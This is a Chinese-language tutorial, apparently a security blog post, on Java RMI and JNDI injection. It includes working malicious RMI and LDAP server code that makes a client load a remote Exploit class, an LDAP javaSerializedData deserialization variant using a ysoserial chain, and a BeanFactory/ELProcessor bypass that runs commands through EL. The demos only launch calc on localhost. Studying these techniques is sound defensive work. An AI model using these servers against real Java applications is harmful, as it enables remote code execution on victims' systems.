RMI(Remote Method Invocation)即Java远程方法调用。RMI协议可以使客户端像调用本地对象一样调用远程方法。
RMI包括以下三个部分:
-
Registry:注册中心,提供服务的注册与获取。
-
Server:提供远程方法,同时还会向Registry注册自身提供的远程方法,注册时提供地址、端口号、服务名称等信息。
-
Client:调用远程方法,Client会向Registry获取远程方法的地址、端口号然后调用远程方法。
RMI的完整流程如下
-
Register启动,监听1099端口
-
RMIServer向Register注册远程对象,
-
RMIClient从Register处获得远程对象的代理(Stub),然后RMIClient通过Stub调用远程对象的方法,Stub会根据远程对象的地址和端口号和RMIServer交互。
-
同时RMIServer也存在一个代理(Skeltion),Skeltion根据RMIClient调用的方法执行对应的方法并将处理的结果返回给RMIClient。
然后这里通过代码实现RMI:
RemoteHello接口
首先需要定义一个远程接口:
import java.rmi.Remote; import java.rmi.RemoteException; interface RemoteHello extends Remote { public String hello() throws RemoteException; }
RMIServer
然后RMIServer中启动Registry,并在上面注册了一个远程对象:
import java.rmi.Naming; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.server.UnicastRemoteObject; public class HelloServer extends UnicastRemoteObject implements RemoteHello { protected HelloServer() throws RemoteException {} @Override public String hello() throws RemoteException { System.out.println("Function Called"); return "Hello World"; } public static void main(String[] args) throws Exception { RemoteHello server = new HelloServer(); LocateRegistry.createRegistry(1099); Naming.rebind("rmi://127.0.0.1:1099/hello",server); } }
RMIClient
Client使用Naming.lookup
拿到远程接口的实现类,然后通过本地的Stub调用远程方法
import java.rmi.Naming; public class RMIClient { public static void main(String[] args) throws Exception { String registry = "rmi://127.0.0.1:1099/hello"; RemoteHello hello = (RemoteHello) Naming.lookup(registry); System.out.println(hello.hello()); } }
JNDI
JNDI(JavaNaming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,JNDI规范允许我们通过对象的名称来访问这个数据源对象,而该对象可能储存在不同的命名或目录服务中,例如RMI、LDAP、CORBA。
JNDI包括Naming Service
和Directory Service
-
Naming Service
:命名服务是名称与值相关联的实体,称为”绑定”。它提供了一种使用”find”或”search”操作来根据名称查找对象的便捷方式。 -
Directory Service
:是一种特殊的Naming Service
,它允许存储和搜索”目录对象”,一个目录对象不同于一个通用对象,目录对象可以与属性关联,因此,目录服务提供了对象属性进行操作功能的扩展。
JNDI结合RMI配合使用的实例:
import javax.naming.Context; import javax.naming.InitialContext; import java.util.Properties; public class Test { public static void main(String[] args) throws Exception { Properties env = new Properties(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099"); Context ctx = new InitialContext(env); RemoteHello hello = (RemoteHello) ctx.lookup("hello"); System.out.println(hello.hello()); } }
JNDI还支持动态协议转换,例如:
Context ctx = new InitialContext(); RemoteHello hello = (RemoteHello) ctx.lookup("rmi://127.0.0.1:1099/hello");
在这个例子中没有设置对应服务的工厂以及PROVIDER_URL,JNDI根据传递的URL协议自动转换与设置了对应的工厂与PROVIDER_URL。
JNDI注入+RMI
JNDI接口初始化时会将URI传入InitialContext.lookup()
方法,如果lookup()
方法的参数可控,则可能会造成攻击:
String uri = "rmi://127.0.0.1:1099/hello"; Context ctx = new InitialContext(); RemoteHello hello = (RemoteHello) ctx.lookup(uri);
RMI Server中除了可以绑定远程对象以外还可以绑定Reference对象。RMI Client调用lookup()
方法获取到远程的Reference对象后,客户端会获取相应的ObjectFactory类,通过Factory类将Reference转化为具体的实例。这里的利用点在于Reference类可控classFactoryLocation
参数,当本地找不到ObjectFactory类时会去classFactoryLocation
参数指向的地址获取ObjectFactory类进行加载。
在恶意服务器上的代码如下:
LocateRegistry.createRegistry(1099); String url = "http://127.0.0.1:8888/#Exploit"; Reference ref = new Reference("Exploit", "Exploit", url); ReferenceWrapper refw = new ReferenceWrapper(ref); Naming.bind("rmi://127.0.0.1:1099/Exploit",refw);
这里因为RMI注册的类必须实现Remote接口和继承UnicastRemoteObject类,而Reference类没有实现Remote接口也没有继承UnicastRemoteObject类,所以需要使用ReferenceWrapper类对其进行封装。
这里还是对JDK源码对攻击流程进行分析:
首先入口是在InitialContext.lookup()
,它通过一系列操作调用到了RegistryContext.lookup()
方法。
在这里先调用了registry.lookup()
方法,在lookup()
方法中用这两行代码读取ReferenceWrapper类然后返回
java.io.ObjectInput in = call.getInputStream(); $result = (java.rmi.Remote) in.readObject();
接着将obj传入了decodeObject()
方法,然后在decodeObject()
方法中调用了NamingManager.getObjectInstance()
方法对类进行实例化。
在NamingManager.getObjectInstance()
方法中需要获取到ObjectFactory
类并利用ObjectFactory
对远程类进行实例化
factory = getObjectFactoryFromReference(ref, f); if (factory != null) { return factory.getObjectInstance(ref, name, nameCtx,environment); }
在调用getObjectFactoryFromReference()
方法获取ObjectFactory
类时调用了helper.loadClass()
方法对远程的ObjectFactory
类进行加载并实例化:
clas = helper.loadClass(factoryName, codebase);
然后就会去远程的恶意服务器获取字节码进行加载,造成RCE。
整个利用流程如下:
-
首先需要编写恶意类,可以在构造方法、静态方法或
getObjectInstance()
方法中写恶意代码 -
在RMI Server中绑定一个用
ReferenceWrapper
封装的Reference类,其中指定classFactoryLocation
为远程类的地址,该地址可以是file/http/ftp
协议的 -
然后
RMI Client
调用InitialContext.lookup()
方法时RMI Server
返回一个Reference
类,接着RMI Client
会动态加载并实例化ObjectFactory
类,并调用ObjectFactory
类的getObjectInstance()
方法 -
在本地找不到
ObjectFactory
类时,会去远程的恶意服务器获取ObjectFactory
类进行加载并实例化造成RCE
但是在JDK 6u132、7u122、8u113之后新增了com.sun.jndi.rmi.object.trustURLCodebase
选项,并且默认值为false,不允许从远程的Codebase
加载Reference
的工厂类。decodeObject()
方法中有对com.sun.jndi.rmi.object.trustURLCodebase
进行判断
JNDI注入+LDAP
使用LDAP进行JNDI注入的原理与RMI类似,都使用了Reference远程加载Factory类,而且LDAP不受com.sun.jndi.rmi.object.trustURLCodebase
的影响。
LDAP Server的代码如下(改自):
class LdapServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main ( String[] args ) throws Exception { String url = "http://127.0.0.1:8888/#Exploit"; int port = 9999; InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } private static class OperationInterceptor extends InMemoryOperationInterceptor { final private URL codebase; public OperationInterceptor ( URL cb ) { this.codebase = cb; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "foo"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
Ldap Client代码如下:
String registry = "ldap://127.0.0.1:9999/Exploit"; Context ctx = new InitialContext(); ctx.lookup(registry);
然后将恶意类编译后放在http页面,客户端调用InitialContext.lookup()
方法时可进行RCE。
然后还是对执行的流程进行分析,这里直接开始看LdapCtx.c_lookup()
方法,下面这两行代码比较关键:
if (attrs.get(Obj.JAVA_ATTRIBUTES[Obj.CLASSNAME]) != null) { // serialized object or object reference obj = Obj.decodeObject(attrs); } //somecode return DirectoryManager.getObjectInstance(obj, name,this, envprops, attrs);
首先调用Obj.decodeObject()
方法获取到Reference
类,然后将其传入DirectoryManager.getObjectInstance()
方法。
在Obj.decodeObject()
方法中检测到attr
中包含javaNamingReference
则会进入decodeReference()
方法,该方法中实例化了一个Reference
类并返回
Reference ref = new Reference(className, factory, (codebases != null? codebases[0] : null));
然后进入到DirectoryManager.getObjectInstance()
方法,后面的调用就和RMI一样,调用getObjectFactoryFromReference()
方法获取ObjectFactory
类用于加载远程类,在加载Factory
类时去classFactoryLocation
指向的恶意服务器上面获取到了恶意类导致RCE。
然后在JDK 6u211、7u201、8u191之后新增了com.sun.jndi.ldap.object.trustURLCodebase
选项,并且默认值为false,默认不允许ldap加载远程工厂类
利用javaSerializedData触发本地Gadget
在分析LDAP进行JNDI注入流程时发现在Obj.decodeObject()
方法中有这样一段代码
如果在attr中存在javaSerializedData
则进入到deserializeObject()
方法中,然后在deserializeObject()
方法中执行了readObject()
操作
这里先在maven中引入Commons-Collections-3.1库
<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency>
然后使用ysoserial工具选择CC5的链生成payload,服务端代码如下:
class LdapServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main ( String[] args ) throws Exception { int port = 9999; InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor()); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } private static class OperationInterceptor extends InMemoryOperationInterceptor { @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { e.addAttribute("javaClassName", "foo"); e.addAttribute("javaSerializedData", Base64.getDecoder().decode("rO0ABXNyAC5q……base64 cc5 here……AAAAAHh4")); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } catch ( Exception e1 ) { e1.printStackTrace(); } } } }
这里测试时手动将com.sun.jndi.ldap.object.trustSerialData
设置为了false,客户端代码如下:
System.setProperty("com.sun.jndi.ldap.object.trustSerialData", "true"); String registry = "ldap://127.0.0.1:9999/Exploit"; Context ctx = new InitialContext(); ctx.lookup(registry);
执行客户端代码之后会对javaSerializedData
进行反序列化造成RCE。
可以弹出计算器:
利用本地Factory类
在JDK8u191版本以后限制了远程Factory类的加载后,还可以利用本地Factory类进行RCE。之前利用远程Factory类进行RCE时,在NamingManager.getObjectInstance()
方法中在这里获取到了远程的Factory类进行加载然后造成RCE。
然后它获取到Factory类之后还会调用getObjectInstance()
类对Reference引用的类进行实例化。
这个本地Factory类需要实现javax.naming.spi.ObjectFactory
接口,这里可以利用org.apache.naming.factory.BeanFactory
类作为本地Factory类,然后将javax.el.ELProcessor
类作为目标类,利用EL表达式执行命令。这里用到的这个类需要在Tomcat 8+
或SpringBoot 1.2.x+
的环境。
在BeanFactory
类的getObjectInstance()
方法中通过反射对传入的Reference类指向的beanClass
进行了实例化。
然后调用了setter对属性进行赋值。这里还可以使用forceString
将某个方法强制指定为setter,可以将javax.el.ELProcessor
类的eval方法指定为setter,然后可以调用javax.el.ELProcessor
类的eval方法利用EL表达式执行命令。
这里要先在maven中加入这一段引入相关的库:
<dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>8.5.0</version> </dependency> <dependency> <groupId>org.apache.el</groupId> <artifactId>com.springsource.org.apache.el</artifactId> <version>7.0.26</version> </dependency>
RMI Server代码:
LocateRegistry.createRegistry(1099); ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); ref.add(new StringRefAddr("forceString", "x=eval")); ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")")); ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); Naming.bind("rmi://127.0.0.1:1099/Exploit",referenceWrapper);
RMI Client代码:
String url = "rmi://127.0.0.1:1099/Exploit"; Context ctx = new InitialContext(); ctx.lookup(url);
执行后可以弹出计算器:
Referer
https://www.anquanke.com/post/id/221917
https://paper.seebug.org/1207/